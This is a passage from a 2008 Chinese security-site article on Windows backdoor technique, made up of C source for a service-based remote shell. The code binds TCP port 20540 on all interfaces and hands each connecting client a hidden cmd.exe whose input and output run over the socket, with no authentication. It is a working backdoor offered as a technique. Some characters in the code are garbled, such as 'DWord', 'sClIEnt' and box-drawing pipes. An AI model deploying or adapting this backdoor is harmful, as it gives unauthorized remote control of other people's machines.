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作者:TOo2y 来源:中华安全网 2008年1月5日
关键字: 后门技术 服务 Windows Windows xp
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl in Switch Error !\n");
}
ReleaseMutex(hMutex);
CloseHandle(hMutex);
return ;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl out Switch Error !\n");
}
return ;
}
DWord WINAPI CmdService(LPVOID lpParam)
{
WSADATA wsa;
SOCKET sServer;
SOCKET sClIEnt;
HANDLE hThread;
struct sockaddr_in sin;
WSAStartup(MAKEWORD(2,2),&wsa);
sServer = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sServer==INVALID_SOCKET)
{
OutputDebugString("Socket Error !\n");
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(20540);
sin.sin_addr.S_un.S_addr = INADDR_ANY;
if(bind(sServer,(const struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
{
OutputDebugString("Bind Error !\n");
return -1;
}
if(listen(sServer,5)==SOCKET_ERROR)
{
OutputDebugString("Listen Error !\n");
return -1;
}
hMutex=CreateMutex(NULL,FALSE,NULL);
if(hMutex==NULL)
{
OutputDebugString("Create Mutex Error !\n");
}
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;
while(1)
{
sClient=accept(sServer,NULL,NULL);
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
if(hThread==NULL)
{
OutputDebugString("CreateThread of CmdShell Error !\n");
break;
}
Sleep(1000);
}
WSACleanup();
return 0;
}
DWORD WINAPI CmdShell(LPVOID lpParam)
{
SOCKET sClient=*(SOCKET *)lpParam;
HANDLE hWritePipe,hReadPipe,hWriteShell,hReadShell;
HANDLE hThread[3];
DWORD dwReavThreadId,dwSendThreadId;
DWORD dwProcessId;
DWORD dwResult;
STARTUPINFO lpStartupInfo;
SESSIONDATA sdWrite,sdRead;
PROCESS_INFORMATION lpProcessInfo;
SECURITY_ATTRIBUTES saPipe;
PPROCESSDATA lpProcessDataLast;
PPROCESSDATA lpProcessDataNow;
char lpImagePath[MAX_PATH];
saPipe.nLength = sizeof(saPipe);
saPipe.bInheritHandle = TRUE;
saPipe.lpSecurityDescriptor = NULL;
if(CreatePipe(&hReadPipe,&hReadShell,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for ReadPipe Error !\n");
return -1;
}
if(CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0)==0)
{
OutputDebugString("CreatePipe for WritePipe Error !\n");
return -1;
}
GetStartupInfo(&lpStartupInfo);
lpStartupInfo.cb = sizeof(lpStartupInfo);
lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW │ STARTF_USESTDHANDLES;
lpStartupInfo.hStdInput = hWriteShell;
lpStartupInfo.hStdOutput = hReadShell;
lpStartupInfo.hStdError = hReadShell;
lpStartupInfo.wShowWindow = SW_HIDE;
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,("\\cmd.exe"));
WaitForSingleObject(hMutex,INFINITE);
if(CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo)==0)
{
OutputDebugString("CreateProcess Error !\n");
return -1;
}
lpProcessDataNow=(PPROCESSDATA)malloc(sizeof(PROCESSDATA));
lpProcessDataNow->hProcess=lpProcessInfo.hProcess;
lpProcessDataNow->dwProcessId=lpProcessInfo.dwProcessId;
lpProcessDataNow->next=NULL;
if((lpProcessDataHead==NULL) ││ (lpProcessDataEnd==NULL))
{
lpProcessDataHead=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}
else
{
lpProcessDataEnd->next=lpProcessDataNow;
lpProcessDataEnd=lpProcessDataNow;
}
hThread[0]=lpProcessInfo.hProcess;
dwProcessId=lpProcessInfo.dwProcessId;
CloseHandle(lpProcessInfo.hThread);
ReleaseMutex(hMutex);
CloseHandle(hWriteShell);
CloseHandle(hReadShell);
sdRead.hPipe = hReadPipe;
sdRead.sClient = sClient;
hThread[1] = CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
if(hThread[1]==NULL)
{
OutputDebugString("CreateThread of ReadShell(Send) Error !\n");
return -1;
}
sdWrite.hPipe = hWritePipe;
sdWrite.sClient = sClient;
hThread[2] = CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
if(hThread[2]==NULL)
{
OutputDebugString("CreateThread for WriteShell(Recv) Error !\n");
return -1;
}
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
if((dwResult>=WAIT_OBJECT_0) && (dwResult<=(WAIT_OBJECT_0 + 2)))
{
dwResult-=WAIT_OBJECT_0;
if(dwResult!=0)
{
TerminateProcess(hThread[0],1);
}
CloseHandle(hThread[(dwResult+1)%3]);
CloseHandle(hThread[(dwResult+2)%3]);
}
CloseHandle(hWritePipe);
CloseHandle(hReadPipe);
WaitForSingleObject(hMutex,INFINITE);
lpProcessDataLast=NULL;
lpProcessDataNow=lpProcessDataHead;
while((lpProcessDataNow->next!=NULL) && (lpProcessDataNow->dwProcessId!=dwProcessId))
{
lpProcessDataLast=lpProcessDataNow;
lpProcessDataNow=lpProcessDataNow->next;
}
if(lpProcessDataNow==lpProcessDataEnd)
{
if(lpProcessDataNow->dwProcessId!=dwProcessId)
{
OutputDebugString("No Found the Process Handle !\n");
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=NULL;
lpProcessDataEnd=NULL;
}
else
{
lpProcessDataEnd=lpProcessDataLast;
}
}
}
else
{
if(lpProcessDataNow==lpProcessDataHead)
{
lpProcessDataHead=lpProcessDataNow->next;
}
else
{
lpProcessDataLast->next=lpProcessDataNow->next;
}
}
ReleaseMutex(hMutex);
return 0;
}
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